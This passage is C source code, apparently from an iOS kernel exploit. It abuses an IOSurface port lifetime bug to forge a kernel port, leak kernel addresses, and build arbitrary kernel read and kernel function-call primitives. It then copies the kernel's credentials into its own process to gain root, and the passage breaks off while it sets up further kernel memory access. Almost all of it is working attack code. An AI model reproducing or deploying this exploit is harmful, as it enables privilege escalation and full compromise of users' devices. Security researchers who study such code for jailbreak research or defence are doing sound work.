stuffport, stuffport, MACH_MSG_TYPE_MAKE_SEND);\n    LOG(\"mach_port_insert_right: %s\", mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    \n    ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &realport);\n    LOG(\"realport: %x, %s\", realport, mach_error_string(ret));\n    if(ret != KERN_SUCCESS || !MACH_PORT_VALID(realport))\n    {\n        goto out;\n    }\n    \n    sched_yield();\n    // Clean out full pages already in freelists\n    ret = my_mach_zone_force_gc(host);\n    if(ret != KERN_SUCCESS)\n    {\n        LOG(\"mach_zone_force_gc: %s\", mach_error_string(ret));\n        goto out;\n    }\n    \n    for(size_t i = 0; i < NUM_BEFORE; ++i)\n    {\n        ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &before[i]);\n        if(ret != KERN_SUCCESS)\n        {\n            LOG(\"mach_port_allocate: %s\", mach_error_string(ret));\n            goto out;\n        }\n    }\n    \n    ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &port);\n    if(ret != KERN_SUCCESS)\n    {\n        LOG(\"mach_port_allocate: %s\", mach_error_string(ret));\n        goto out;\n    }\n    if(!MACH_PORT_VALID(port))\n    {\n        LOG(\"port: %x\", port);\n        goto out;\n    }\n    \n    for(size_t i = 0; i < NUM_AFTER; ++i)\n    {\n        ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &after[i]);\n        if(ret != KERN_SUCCESS)\n        {\n            LOG(\"mach_port_allocate: %s\", mach_error_string(ret));\n            goto out;\n        }\n    }\n    \n    LOG(\"port: %x\", port);\n    \n    ret = _kernelrpc_mach_port_insert_right_trap(self, port, port, MACH_MSG_TYPE_MAKE_SEND);\n    LOG(\"mach_port_insert_right: %s\", mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    \n#pragma pack(4)\n    typedef struct {\n        mach_msg_base_t base;\n        mach_msg_ool_ports_descriptor_t desc[2];\n    } StuffMsg;\n#pragma pack()\n    StuffMsg msg;\n    msg.base.header.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);\n    msg.base.header.msgh_remote_port = stuffport;\n    msg.base.header.msgh_local_port = MACH_PORT_NULL;\n    msg.base.header.msgh_id = 1234;\n    msg.base.header.msgh_reserved = 0;\n    msg.base.body.msgh_descriptor_count = 2;\n    msg.desc[0].address = before;\n    msg.desc[0].count = NUM_BEFORE;\n    msg.desc[0].disposition = MACH_MSG_TYPE_MOVE_RECEIVE;\n    msg.desc[0].deallocate = FALSE;\n    msg.desc[0].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;\n    msg.desc[1].address = after;\n    msg.desc[1].count = NUM_AFTER;\n    msg.desc[1].disposition = MACH_MSG_TYPE_MOVE_RECEIVE;\n    msg.desc[1].deallocate = FALSE;\n    msg.desc[1].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;\n    ret = mach_msg(&msg.base.header, MACH_SEND_MSG, (mach_msg_size_t)sizeof(msg), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);\n    LOG(\"mach_msg: %s\", mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    \n    for(size_t i = 0; i < NUM_BEFORE; ++i)\n    {\n        RELEASE_PORT(before[i]);\n    }\n    for(size_t i = 0; i < NUM_AFTER; ++i)\n    {\n        RELEASE_PORT(after[i]);\n    }\n    \n#if 0\n    uint32_t dict[DATA_SIZE / sizeof(uint32_t) + 7] =\n    {\n        // Some header or something\n        surface.data.id,\n        0x0,\n        \n        kOSSerializeMagic,\n        kOSSerializeEndCollection | kOSSerializeArray | 2,\n        \n        kOSSerializeString | (DATA_SIZE - 1),\n    };\n    dict[DATA_SIZE / sizeof(uint32_t) + 5] = kOSSerializeEndCollection | kOSSerializeString | 4;\n    \n    // ipc.ports zone uses 0x3000 allocation chunks, but hardware page size before A9\n    // is actually 0x1000, so references to our reallocated memory may be shifted\n    // by (0x1000 % sizeof(kport_t))\n    kport_t triple_kport =\n    {\n        .ip_lock =\n        {\n            .data = 0x0,\n            .type = 0x11,\n        },\n#ifdef __LP64__\n        .ip_messages =\n        {\n            .port =\n            {\n                .waitq =\n                {\n                    .waitq_queue =\n                    {\n                        .next = 0x0,\n                        .prev = 0x11,\n                    }\n                },\n            },\n        },\n        .ip_nsrequest = 0x0,\n        .ip_pdrequest = 0x11,\n#endif\n    };\n    for(uintptr_t ptr = (uintptr_t)&dict[5], end = (uintptr_t)&dict[5] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t))\n    {\n        UNALIGNED_COPY(&triple_kport, ptr, sizeof(kport_t));\n    }\n#endif\n    \n    // There seems to be some weird asynchronity with freeing on IOConnectCallAsyncStructMethod,\n    // which sucks. To work around it, I register the port to be freed on my own task (thus increasing refs),\n    // sleep after the connect call and register again, thus releasing the reference synchronously.\n    ret = mach_ports_register(self, &port, 1);\n    LOG(\"mach_ports_register: %s\", mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    \n    uint64_t ref = 0;\n    uint64_t in[3] = { 0, 0x666, 0 };\n    IOConnectCallAsyncStructMethod(client, 17, realport, &ref, 1, in, sizeof(in), NULL, NULL);\n    IOConnectCallAsyncStructMethod(client, 17, port, &ref, 1, in, sizeof(in), NULL, NULL);\n    \n    LOG(\"herp derp\");\n    usleep(100000);\n    \n    sched_yield();\n    ret = mach_ports_register(self, &client, 1); // gonna use that later\n    if(ret != KERN_SUCCESS)\n    {\n        LOG(\"mach_ports_register: %s\", mach_error_string(ret));\n        goto out;\n    }\n    \n    // Prevent cleanup\n    fakeport = port;\n    port = MACH_PORT_NULL;\n    \n    // Release port with ool port refs\n    RELEASE_PORT(stuffport);\n    \n    ret = my_mach_zone_force_gc(host);\n    if(ret != KERN_SUCCESS)\n    {\n        LOG(\"mach_zone_force_gc: %s\", mach_error_string(ret));\n        goto out;\n    }\n    \n#if 0\n    for(uint32_t i = 0; i < NUM_DATA; ++i)\n    {\n        dict[DATA_SIZE / sizeof(uint32_t) + 6] = transpose(i);\n        kport_t *dptr = (kport_t*)&dict[5];\n        for(size_t j = 0; j < DATA_SIZE / sizeof(kport_t); ++j)\n        {\n            *(((volatile uint32_t*)&dptr[j].ip_context) + 1) = 0x10000000 | (j << 20) | i;\n#ifdef __LP64__\n            *(volatile uint32_t*)&dptr[j].ip_messages.port.pad = 0x20000000 | (j << 20) | i;\n            *(volatile uint32_t*)&dptr[j].ip_lock.pad = 0x30000000 | (j << 20) | i;\n#endif\n        }\n        uint32_t dummy = 0;\n        size = sizeof(dummy);\n        ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict, sizeof(dict), &dummy, &size);\n        if(ret != KERN_SUCCESS)\n        {\n            LOG(\"setValue(%u): %s\", i, mach_error_string(ret));\n            goto out;\n        }\n    }\n#endif\n    dummy = 0;\n    size = sizeof(dummy);\n    ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict_big, dictsz_big, &dummy, &size);\n    if(ret != KERN_SUCCESS)\n    {\n        LOG(\"setValue(big): %s\", mach_error_string(ret));\n        goto out;\n    }\n    \n    uint64_t ctx = 0xffffffff;\n    ret = my_mach_port_get_context(self, fakeport, &ctx);\n    LOG(\"mach_port_get_context: 0x%016llx, %s\", ctx, mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    \n    uint32_t shift_mask = ctx >> 60;\n    if(shift_mask < 1 || shift_mask > 3)\n    {\n        LOG(\"Invalid shift mask.\");\n        goto out;\n    }\n#if 0\n    uint32_t shift_off = sizeof(kport_t) - (((shift_mask - 1) * 0x1000) % sizeof(kport_t));\n#endif\n    uint32_t ins = ((shift_mask - 1) * pagesize) % sizeof(kport_t),\n    idx = (ctx >> 32) & 0xfffff,\n    iff = (ctx >> 52) & 0xff;\n    int64_t fp_off = sizeof(kport_t) * iff - ins;\n    if(fp_off < 0)\n    {\n        --idx;\n        fp_off += pagesize;\n    }\n    uint64_t fakeport_off = (uint64_t)fp_off;\n    LOG(\"fakeport offset: 0x%llx\", fakeport_off);\n#if 0\n    dict[DATA_SIZE / sizeof(uint32_t) + 6] = transpose(idx);\n#endif\n    uint32_t request[] =\n    {\n        // Same header\n        surface.data.id,\n        0x0,\n        \n#if 0\n        transpose(idx), // Key\n#endif\n        0x0, // Placeholder\n        0x0, // Null terminator\n    };\n    kport_t kport;\n    VOLATILE_BZERO32(&kport, sizeof(kport));\n    kport.ip_bits = 0x80000000; // IO_BITS_ACTIVE | IOT_PORT | IKOT_NONE\n    kport.ip_references = 100;\n    kport.ip_lock.type = 0x11;\n    kport.ip_messages.port.receiver_name = 1;\n    kport.ip_messages.port.msgcount = MACH_PORT_QLIMIT_KERNEL;\n    kport.ip_messages.port.qlimit = MACH_PORT_QLIMIT_KERNEL;\n    kport.ip_srights = 99;\n    \n#if 0\n    // Note to self: must be `(uintptr_t)&dict[5] + DATA_SIZE` and not `ptr + DATA_SIZE`.\n    for(uintptr_t ptr = (uintptr_t)&dict[5] + shift_off, end = (uintptr_t)&dict[5] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t))\n    {\n        UNALIGNED_COPY(&kport, ptr, sizeof(kport_t));\n    }\n#endif\n    \n    ret = reallocate_fakeport(client, surface.data.id, idx, fakeport_off, pagesize, &kport, dict_small, dictsz_small);\n    LOG(\"reallocate_fakeport: %s\", mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    \n    usleep(100000); // XXX\n    \n    // Register realport on fakeport\n    mach_port_t notify = MACH_PORT_NULL;\n    ret = mach_port_request_notification(self, fakeport, MACH_NOTIFY_PORT_DESTROYED, 0, realport, MACH_MSG_TYPE_MAKE_SEND_ONCE, &notify);\n    LOG(\"mach_port_request_notification(realport): %x, %s\", notify, mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    \n    usleep(100000); // XXX\n    \n#if 0\n    uint32_t response[4 + (DATA_SIZE / sizeof(uint32_t))] = { 0 };\n    size = sizeof(response);\n    ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, sizeof(request), response, &size);\n    LOG(\"getValue(%u): 0x%lx bytes, %s\", idx, size, mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    if(size < DATA_SIZE + 0x10)\n    {\n        LOG(\"Response too short.\");\n        goto out;\n    }\n#endif\n    kport_t myport;\n    VOLATILE_BZERO32(&myport, sizeof(myport));\n    ret = readback_fakeport(client, idx, fakeport_off, pagesize, request, sizeof(request), resp, respsz, &myport);\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    \n#if 0\n    uint32_t fakeport_off = -1;\n    kptr_t realport_addr = 0;\n    for(uintptr_t ptr = (uintptr_t)&response[4] + shift_off, end = (uintptr_t)&response[4] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t))\n    {\n        kptr_t val = UNALIGNED_KPTR_DEREF(&((kport_t*)ptr)->ip_pdrequest);\n        if(val)\n        {\n            fakeport_off = ptr - (uintptr_t)&response[4];\n            realport_addr = val;\n            break;\n        }\n    }\n#endif\n    kptr_t realport_addr = myport.ip_pdrequest;\n    if(!realport_addr)\n    {\n        LOG(\"Failed to leak realport address\");\n        goto out;\n    }\n    LOG(\"realport addr: \" ADDR, realport_addr);\n#if 0\n    uintptr_t fakeport_dictbuf = (uintptr_t)&dict[5] + fakeport_off;\n#endif\n    \n    // Register fakeport on itself (and clean ref on realport)\n    notify = MACH_PORT_NULL;\n    ret = mach_port_request_notification(self, fakeport, MACH_NOTIFY_PORT_DESTROYED, 0, fakeport, MACH_MSG_TYPE_MAKE_SEND_ONCE, &notify);\n    LOG(\"mach_port_request_notification(fakeport): %x, %s\", notify, mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    \n#if 0\n    size = sizeof(response);\n    ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, sizeof(request), response, &size);\n    LOG(\"getValue(%u): 0x%lx bytes, %s\", idx, size, mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    if(size < DATA_SIZE + 0x10)\n    {\n        LOG(\"Response too short.\");\n        goto out;\n    }\n    kptr_t fakeport_addr = UNALIGNED_KPTR_DEREF(&((kport_t*)((uintptr_t)&response[4] + fakeport_off))->ip_pdrequest);\n#endif\n    ret = readback_fakeport(client, idx, fakeport_off, pagesize, request, sizeof(request), resp, respsz, &myport);\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    kptr_t fakeport_addr = myport.ip_pdrequest;\n    if(!fakeport_addr)\n    {\n        LOG(\"Failed to leak fakeport address\");\n        goto out;\n    }\n    LOG(\"fakeport addr: \" ADDR, fakeport_addr);\n    kptr_t fake_addr = fakeport_addr - fakeport_off;\n    \n    kport_request_t kreq =\n    {\n        .notify =\n        {\n            .port = 0,\n        }\n    };\n    kport.ip_requests = fakeport_addr + ((uintptr_t)&kport.ip_context - (uintptr_t)&kport) - ((uintptr_t)&kreq.name.size - (uintptr_t)&kreq);\n#if 0\n    UNALIGNED_COPY(&kport, fakeport_dictbuf, sizeof(kport));\n    \n    ret = reallocate_buf(client, surface.data.id, idx, dict, sizeof(dict));\n    LOG(\"reallocate_buf: %s\", mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n#endif\n    ret = reallocate_fakeport(client, surface.data.id, idx, fakeport_off, pagesize, &kport, dict_small, dictsz_small);\n    LOG(\"reallocate_fakeport: %s\", mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    \n#define KREAD(addr, buf, len) \\\ndo \\\n{ \\\nfor(size_t i = 0; i < ((len) + sizeof(uint32_t) - 1) / sizeof(uint32_t); ++i) \\\n{ \\\nret = my_mach_port_set_context(self, fakeport, (addr) + i * sizeof(uint32_t)); \\\nif(ret != KERN_SUCCESS) \\\n{ \\\nLOG(\"mach_port_set_context: %s\", mach_error_string(ret)); \\\ngoto out; \\\n} \\\nmach_msg_type_number_t outsz = 1; \\\nret = mach_port_get_attributes(self, fakeport, MACH_PORT_DNREQUESTS_SIZE, (mach_port_info_t)((uint32_t*)(buf) + i), &outsz); \\\nif(ret != KERN_SUCCESS) \\\n{ \\\nLOG(\"mach_port_get_attributes: %s\", mach_error_string(ret)); \\\ngoto out; \\\n} \\\n} \\\n} while(0)\n    \n    kptr_t itk_space = 0;\n    KREAD(realport_addr + ((uintptr_t)&kport.ip_receiver - (uintptr_t)&kport), &itk_space, sizeof(itk_space));\n    LOG(\"itk_space: \" ADDR, itk_space);\n    if(!itk_space)\n    {\n        goto out;\n    }\n    \n    kptr_t self_task = 0;\n    KREAD(itk_space + off->ipc_space_is_task, &self_task, sizeof(self_task));\n    LOG(\"self_task: \" ADDR, self_task);\n    if(!self_task)\n    {\n        goto out;\n    }\n    \n    kptr_t IOSurfaceRootUserClient_port = 0;\n    KREAD(self_task + off->task_itk_registered, &IOSurfaceRootUserClient_port, sizeof(IOSurfaceRootUserClient_port));\n    LOG(\"IOSurfaceRootUserClient port: \" ADDR, IOSurfaceRootUserClient_port);\n    if(!IOSurfaceRootUserClient_port)\n    {\n        goto out;\n    }\n    \n    kptr_t IOSurfaceRootUserClient_addr = 0;\n    KREAD(IOSurfaceRootUserClient_port + ((uintptr_t)&kport.ip_kobject - (uintptr_t)&kport), &IOSurfaceRootUserClient_addr, sizeof(IOSurfaceRootUserClient_addr));\n    LOG(\"IOSurfaceRootUserClient addr: \" ADDR, IOSurfaceRootUserClient_addr);\n    if(!IOSurfaceRootUserClient_addr)\n    {\n        goto out;\n    }\n    \n    kptr_t IOSurfaceRootUserClient_vtab = 0;\n    KREAD(IOSurfaceRootUserClient_addr, &IOSurfaceRootUserClient_vtab, sizeof(IOSurfaceRootUserClient_vtab));\n    LOG(\"IOSurfaceRootUserClient vtab: \" ADDR, IOSurfaceRootUserClient_vtab);\n    if(!IOSurfaceRootUserClient_vtab)\n    {\n        goto out;\n    }\n    \n    // Unregister IOSurfaceRootUserClient port\n    ret = mach_ports_register(self, NULL, 0);\n    LOG(\"mach_ports_register: %s\", mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    \n    kptr_t vtab[VTAB_SIZE] = { 0 };\n    KREAD(IOSurfaceRootUserClient_vtab, vtab, sizeof(vtab));\n    \n    kptr_t kbase = (vtab[off->vtab_get_retain_count] & ~(KERNEL_SLIDE_STEP - 1)) + KERNEL_HEADER_OFFSET;\n    for(uint32_t magic = 0; 1; kbase -= KERNEL_SLIDE_STEP)\n    {\n        KREAD(kbase, &magic, sizeof(magic));\n        if(magic == KERNEL_MAGIC)\n        {\n            break;\n        }\n    }\n    LOG(\"Kernel base: \" ADDR, kbase);\n    \n#define OFF(name) (off->name + (kbase - off->base))\n    \n    kptr_t zone_map_addr = 0;\n    KREAD(OFF(zone_map), &zone_map_addr, sizeof(zone_map_addr));\n    LOG(\"zone_map: \" ADDR, zone_map_addr);\n    if(!zone_map_addr)\n    {\n        goto out;\n    }\n    \n#ifdef __LP64__\n    vtab[off->vtab_get_external_trap_for_index] = OFF(rop_ldr_x0_x0_0x10);\n#else\n    vtab[off->vtab_get_external_trap_for_index] = OFF(rop_ldr_r0_r0_0xc);\n#endif\n    \n    uint32_t faketask_off = fakeport_off < sizeof(ktask_t) ? UINT64_ALIGN_UP(fakeport_off + sizeof(kport_t)) : UINT64_ALIGN_DOWN(fakeport_off - sizeof(ktask_t));\n    void* faketask_buf = (void*)((uintptr_t)&dict_small[9] + faketask_off);\n    \n    ktask_t ktask;\n    VOLATILE_BZERO32(&ktask, sizeof(ktask));\n    ktask.a.lock.data = 0x0;\n    ktask.a.lock.type = 0x22;\n    ktask.a.ref_count = 100;\n    ktask.a.active = 1;\n    ktask.a.map = zone_map_addr;\n    ktask.b.itk_self = 1;\n#if 0\n    UNALIGNED_COPY(&ktask, faketask_buf, sizeof(ktask));\n#endif\n    VOLATILE_BCOPY32(&ktask, faketask_buf, sizeof(ktask));\n    \n    kport.ip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK\n    kport.ip_kobject = fake_addr + faketask_off;\n    kport.ip_requests = 0;\n    kport.ip_context = 0;\n#if 0\n    UNALIGNED_COPY(&kport, fakeport_dictbuf, sizeof(kport));\n#endif\n    if(fakeport_off + sizeof(kport_t) > pagesize)\n    {\n        size_t sz = pagesize - fakeport_off;\n        VOLATILE_BCOPY32(&kport, (void*)((uintptr_t)&dict_small[9] + fakeport_off), sz);\n        VOLATILE_BCOPY32((void*)((uintptr_t)&kport + sz), &dict_small[9], sizeof(kport) - sz);\n    }\n    else\n    {\n        VOLATILE_BCOPY32(&kport, (void*)((uintptr_t)&dict_small[9] + fakeport_off), sizeof(kport));\n    }\n    \n#undef KREAD\n#if 0\n    ret = reallocate_buf(client, surface.data.id, idx, dict, sizeof(dict));\n    LOG(\"reallocate_buf: %s\", mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n#endif\n    shmemsz = pagesize;\n    dict_small[6] = transpose(idx);\n    ret = reallocate_buf(client, surface.data.id, idx, dict_small, dictsz_small);\n    LOG(\"reallocate_buf: %s\", mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    if(fakeport_off + sizeof(kport_t) > pagesize)\n    {\n        shmemsz *= 2;\n        dict_small[6] = transpose(idx + 1);\n        ret = reallocate_buf(client, surface.data.id, idx + 1, dict_small, dictsz_small);\n        LOG(\"reallocate_buf: %s\", mach_error_string(ret));\n        if(ret != KERN_SUCCESS)\n        {\n            goto out;\n        }\n    }\n    \n    vm_prot_t cur = 0,\n    max = 0;\n    sched_yield();\n    ret = mach_vm_remap(self, &shmem_addr, shmemsz, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, fakeport, fake_addr, false, &cur, &max, VM_INHERIT_NONE);\n    if(ret != KERN_SUCCESS)\n    {\n        LOG(\"mach_vm_remap: %s\", mach_error_string(ret));\n        goto out;\n    }\n    *(uint32_t*)shmem_addr = 123; // fault page\n    LOG(\"shmem_addr: 0x%016llx\", shmem_addr);\n    volatile kport_t *fakeport_buf = (volatile kport_t*)(shmem_addr + fakeport_off);\n    \n    uint32_t vtab_off = fakeport_off < sizeof(vtab) ? fakeport_off + sizeof(kport_t) : 0;\n    vtab_off = UINT64_ALIGN_UP(vtab_off);\n    kptr_t vtab_addr = fake_addr + vtab_off;\n    LOG(\"vtab addr: \" ADDR, vtab_addr);\n    volatile kptr_t *vtab_buf = (volatile kptr_t*)(shmem_addr + vtab_off);\n    for(volatile kptr_t *src = vtab, *dst = vtab_buf, *end = src + VTAB_SIZE; src < end; *(dst++) = *(src++));\n    \n#define MAXRANGES 5\n    struct\n    {\n        uint32_t start;\n        uint32_t end;\n    } ranges[MAXRANGES] =\n    {\n        { fakeport_off, (uint32_t)(fakeport_off + sizeof(kport_t)) },\n        { vtab_off, (uint32_t)(vtab_off + sizeof(vtab)) },\n    };\n    size_t numranges = 2;\n#define FIND_RANGE(var, size) \\\ndo \\\n{ \\\nif(numranges >= MAXRANGES) \\\n{ \\\nLOG(\"FIND_RANGE(\" #var \"): ranges array too small\"); \\\ngoto out; \\\n} \\\nfor(uint32_t i = 0; i < numranges;) \\\n{ \\\nuint32_t end = var + (uint32_t)(size); \\\nif( \\\n(var >= ranges[i].start && var < ranges[i].end) || \\\n(end >= ranges[i].start && var < ranges[i].end) \\\n) \\\n{ \\\nvar = UINT64_ALIGN_UP(ranges[i].end); \\\ni = 0; \\\ncontinue; \\\n} \\\n++i; \\\n} \\\nif(var + (uint32_t)(size) > pagesize) \\\n{ \\\nLOG(\"FIND_RANGE(\" #var \") out of range: 0x%x-0x%x\", var, var + (uint32_t)(size)); \\\ngoto out; \\\n} \\\nranges[numranges].start = var; \\\nranges[numranges].end = var + (uint32_t)(size); \\\n++numranges; \\\n} while(0)\n    \n    typedef volatile union\n    {\n        struct {\n            // IOUserClient fields\n            kptr_t vtab;\n            uint32_t refs;\n            uint32_t pad;\n            // Gadget stuff\n            kptr_t trap_ptr;\n            // IOExternalTrap fields\n            kptr_t obj;\n            kptr_t func;\n            uint32_t break_stuff; // idk wtf this field does, but it has to be zero or iokit_user_client_trap does some weird pointer mashing\n            // OSSerializer::serialize\n            kptr_t indirect[3];\n        } a;\n        struct {\n            char pad[OFFSET_IOUSERCLIENT_IPC];\n            int32_t __ipc;\n        } b;\n    } kobj_t;\n    \n    uint32_t fakeobj_off = 0;\n    FIND_RANGE(fakeobj_off, sizeof(kobj_t));\n    kptr_t fakeobj_addr = fake_addr + fakeobj_off;\n    LOG(\"fakeobj addr: \" ADDR, fakeobj_addr);\n    volatile kobj_t *fakeobj_buf = (volatile kobj_t*)(shmem_addr + fakeobj_off);\n    VOLATILE_BZERO32(fakeobj_buf, sizeof(kobj_t));\n    \n    fakeobj_buf->a.vtab = vtab_addr;\n    fakeobj_buf->a.refs = 100;\n    fakeobj_buf->a.trap_ptr = fakeobj_addr + ((uintptr_t)&fakeobj_buf->a.obj - (uintptr_t)fakeobj_buf);\n    fakeobj_buf->a.break_stuff = 0;\n    fakeobj_buf->b.__ipc = 100;\n    \n    fakeport_buf->ip_bits = 0x8000001d; // IO_BITS_ACTIVE | IOT_PORT | IKOT_IOKIT_CONNECT\n    fakeport_buf->ip_kobject = fakeobj_addr;\n    \n    // First arg to KCALL can't be == 0, so we need KCALL_ZERO which indirects through OSSerializer::serialize.\n    // That way it can take way less arguments, but well, it can pass zero as first arg.\n#define KCALL(addr, x0, x1, x2, x3, x4, x5, x6) \\\n( \\\nfakeobj_buf->a.obj = (kptr_t)(x0), \\\nfakeobj_buf->a.func = (kptr_t)(addr), \\\n(kptr_t)IOConnectTrap6(fakeport, 0, (kptr_t)(x1), (kptr_t)(x2), (kptr_t)(x3), (kptr_t)(x4), (kptr_t)(x5), (kptr_t)(x6)) \\\n)\n#define KCALL_ZERO(addr, x0, x1, x2) \\\n( \\\nfakeobj_buf->a.obj = fakeobj_addr + ((uintptr_t)&fakeobj_buf->a.indirect - (uintptr_t)fakeobj_buf) - 2 * sizeof(kptr_t), \\\nfakeobj_buf->a.func = OFF(osserializer_serialize), \\\nfakeobj_buf->a.indirect[0] = (x0), \\\nfakeobj_buf->a.indirect[1] = (x1), \\\nfakeobj_buf->a.indirect[2] = (addr), \\\n(kptr_t)IOConnectTrap6(fakeport, 0, (kptr_t)(x2), 0, 0, 0, 0, 0) \\\n)\n    kptr_t kernel_task_addr = 0;\n    int r = KCALL(OFF(copyout), OFF(kernel_task), &kernel_task_addr, sizeof(kernel_task_addr), 0, 0, 0, 0);\n    LOG(\"kernel_task addr: \" ADDR \", %s, %s\", kernel_task_addr, errstr(r), mach_error_string(r));\n    if(r != 0 || !kernel_task_addr)\n    {\n        goto out;\n    }\n    \n    kptr_t kernproc_addr = 0;\n    r = KCALL(OFF(copyout), kernel_task_addr + off->task_bsd_info, &kernproc_addr, sizeof(kernproc_addr), 0, 0, 0, 0);\n    LOG(\"kernproc addr: \" ADDR \", %s, %s\", kernproc_addr, errstr(r), mach_error_string(r));\n    if(r != 0 || !kernproc_addr)\n    {\n        goto out;\n    }\n    \n    kptr_t kern_ucred = 0;\n    r = KCALL(OFF(copyout), kernproc_addr + off->proc_ucred, &kern_ucred, sizeof(kern_ucred), 0, 0, 0, 0);\n    LOG(\"kern_ucred: \" ADDR \", %s, %s\", kern_ucred, errstr(r), mach_error_string(r));\n    if(r != 0 || !kern_ucred)\n    {\n        goto out;\n    }\n    \n    kptr_t self_proc = 0;\n    r = KCALL(OFF(copyout), self_task + off->task_bsd_info, &self_proc, sizeof(self_proc), 0, 0, 0, 0);\n    LOG(\"self_proc: \" ADDR \", %s, %s\", self_proc, errstr(r), mach_error_string(r));\n    if(r != 0 || !self_proc)\n    {\n        goto out;\n    }\n    \n    kptr_t self_ucred = 0;\n    r = KCALL(OFF(copyout), self_proc + off->proc_ucred, &self_ucred, sizeof(self_ucred), 0, 0, 0, 0);\n    LOG(\"self_ucred: \" ADDR \", %s, %s\", self_ucred, errstr(r), mach_error_string(r));\n    if(r != 0 || !self_ucred)\n    {\n        goto out;\n    }\n    \n    int olduid = getuid();\n    LOG(\"uid: %u\", olduid);\n    \n    KCALL(OFF(kauth_cred_ref), kern_ucred, 0, 0, 0, 0, 0, 0);\n    r = KCALL(OFF(copyin), &kern_ucred, self_proc + off->proc_ucred, sizeof(kern_ucred), 0, 0, 0, 0);\n    LOG(\"copyin: %s\", errstr(r));\n    if(r != 0 || !self_ucred)\n    {\n        goto out;\n    }\n    // Note: decreasing the refcount on the old cred causes a panic with \"cred reference underflow\", so... don't do that.\n    LOG(\"stole the kernel's credentials\");\n    setuid(0); // update host port\n    \n    int newuid = getuid();\n    LOG(\"uid: %u\", newuid);\n    \n    if(newuid != olduid)\n    {\n        KCALL_ZERO(OFF(chgproccnt), newuid, 1, 0);\n        KCALL_ZERO(OFF(chgproccnt), olduid, -1, 0);\n    }\n    \n    host_t realhost = mach_host_self();\n    LOG(\"realhost: %x (host: %x)\", realhost, host);\n    \n    uint32_t zm_task_off = 0;\n    FIND_RANGE(zm_task_off, sizeof(ktask_t));\n    kptr_t zm_task_addr = fake_addr + zm_task_off;\n    LOG(\"zm_task addr: \" ADDR, zm_task_addr);\n    volatile ktask_t *zm_task_buf = (volatile ktask_t*)(shmem_addr + zm_task_off);\n    VOLATILE_BZERO32(zm_task_buf, sizeof(ktask_t));\n    \n    zm_task_buf->a.lock.data = 0x0;\n    zm_task_buf->a.lock.type = 0x22;\n    zm_task_buf->a.ref_count = 100;\n    zm_task_buf->a.active = 1;\n    zm_task_buf->b.itk_self = 1;\n    zm_task_buf->a.map = zone_map_addr;\n    \n    uint32_t km_task_off = 0;\n    FIND_RANGE(km_task_off, sizeof(ktask_t));\n    kptr_t km_task_addr = fake_addr + km_task_off;\n    LOG(\"km_task addr: \" ADDR, km_task_addr);\n    volatile ktask_t *km_task_buf = (volatile ktask_t*)(shmem_addr + km_task_off);\n    VOLATILE_BZERO32(km_task_buf, sizeof(ktask_t));\n    \n    km_task_buf->a.lock.data = 0x0;\n    km_task_buf->a.lock.type = 0x22;\n    km_task_buf->a.ref_count = 100;\n    km_task_buf->a.active = 1;\n    km_task_buf->b.itk_self = 1;\n    r = KCALL(OFF(copyout), OFF(kernel_map), &km_task_buf->a.map, sizeof(km_task_buf->a.map), 0, 0, 0, 0);\n    LOG(\"kernel_map: \" ADDR \", %s\", km_task_buf->a.map, errstr(r));\n    if(r != 0 || !km_task_buf->a.map)\n    {\n        goto out;\n    }\n    \n    kptr_t ipc_space_kernel = 0;\n    r = KCALL(OFF(copyout), IOSurfaceRootUserClient_port + ((uintptr_t)&kport.ip_receiver - (uintptr_t)&kport), &ipc_space_kernel, sizeof(ipc_space_kernel), 0, 0, 0, 0);\n    LOG(\"ipc_space_kernel: \" ADDR \", %s\", ipc_space_kernel, errstr(r));\n    if(r != 0 || !ipc_space_kernel)\n    {\n        goto out;\n    }\n    \n#ifdef __LP64__\n    kmap_hdr_t zm_hdr = { 0 };\n    r = KCALL(OFF(copyout), zm_task_buf->a.map + off->vm_map_hdr, &zm_hdr, sizeof(zm_hdr), 